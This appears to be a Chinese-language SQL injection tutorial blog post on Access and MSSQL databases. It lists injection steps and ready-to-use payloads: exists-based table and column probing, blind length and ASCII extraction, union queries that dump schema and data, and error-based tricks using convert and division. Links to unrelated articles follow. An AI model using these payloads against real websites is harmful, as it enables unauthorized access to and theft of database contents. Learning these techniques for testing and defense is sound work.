SQL注入基础-5

一、Access注入

1、asp网站常用数据库:access,mssql

2、access数据库

(1)没有库,没有端口

(2)结构:表--》字段--》数据

3、注入流程:

  • 判断类型
  • 判断表名:遍历、爆破
  • 判断列名
  • 判断列名下的数据长度
  • 查出数据

4、判断是什么数据库

and exists (select * from msysobjects)>0 access
and exists (select * from sysobjects)>0 mssql

5、破解

(1)判断类型:确定是字符型还是数字型

(2)获取表名:and+exists+(select+*+from+表名)

(3)获取列名:and+exists+(select+列名+from+表名)

(4)获取数据长度:and+(select+top+1+len(列名)+from+表名)>5

(5)获取数据:and+(select+top+1+asc(substr(列名,1,2))+from+表名)>110

6、联合注入:需要知道具体表名

参考资料:https://www.cnblogs.com/drkang/p/8627794.html

二、mssql注入

注:严格区分数字型和字符型

1、特殊数据库:master

2、表:

  • sysdatabases:master库中,保存所有库名
  • syobjects:每个数据库都有,保存数据库中的所有表
  • syscolumns:每个数据库都有,保存所有表的字段名

3、思路

  • 判断类型
  • 获取数据库
  • 获取表
  • 获取字段数
  • 获取数据

4、常用(与MySQL不同)

  • db_name():获取当前数据库名
  • host_name():获取计算机名
  • user:获取用户名
  • current_user:获取当前数据库的用户名
  • substring:字符串截取函数
  • @@version:查看数据库版本
  • char:ASCII转字符函数

5、联合查询注入

(1)获取数据库:-1' union select '1','2',db_name()--+

(2)获取表名:-1' union select '1','2',(select quotename(name) from test.dbo.sysobjects where xtype='u' for xml path(''))--+

  • quotename():与MySQL中的group_concat类似,分隔符不同,quotename()使用中括号
  • test:数据库,dbo:用户
  • xtype:指定用户类型

(3)获取字段数:-1' union select '1','2',(select quotename(name) from test.dbo.syscolumns where id=(select quotename(name) from test.dbo.sysobjects where name='表名') for xml path(''))--+

(4)获取数据:-1' union select '1','2',(select top 1 quotename(name) from test.dbo.表名 where for xml path(''))--+

6、报错注入

(1)convert函数(强制类型转换):' and convert(int,db_name())=1--+

(2)四则运算报错:' and 1/db_name()=1--+

7、盲注

相关推荐
电报号dapp1192 小时前
加密货币钱包开发指南:多链资产管理与非托管安全范式
安全·web3·去中心化·区块链·智能合约
淡水猫.2 小时前
Next.js 中间件鉴权绕过漏洞 CVE-2025-29927
javascript·安全·web安全·中间件
zskj_zhyl3 小时前
智绅科技 —— 智慧养老 + 数字健康,构筑银发时代安全防护网
人工智能·科技·安全
立控信息(lkone)3 小时前
库室联管联控系统
大数据·安全
cai_huaer3 小时前
BugKu Web渗透之需要管理员
安全
2401_876907523 小时前
IEC 61347-1:2015 灯控制装置安全标准详解
大数据·数据结构·人工智能·算法·安全·学习方法
Jouzzy3 小时前
【iOS安全】iPhone X iOS 16.7.11 (20H360) WinRa1n 越狱教程
安全·ios·iphone
思通数科多模态大模型4 小时前
重构城市应急指挥布控策略 ——无人机智能视频监控的破局之道
人工智能·深度学习·安全·重构·数据挖掘·音视频·无人机
emo了小猫6 小时前
Mybatis #{} 和 ${}区别,使用场景,LIKE模糊查询避免SQL注入
数据库·sql·mysql·mybatis
FreeBuf_9 小时前
最新研究揭示云端大语言模型防护机制的成效与缺陷
网络·安全·语言模型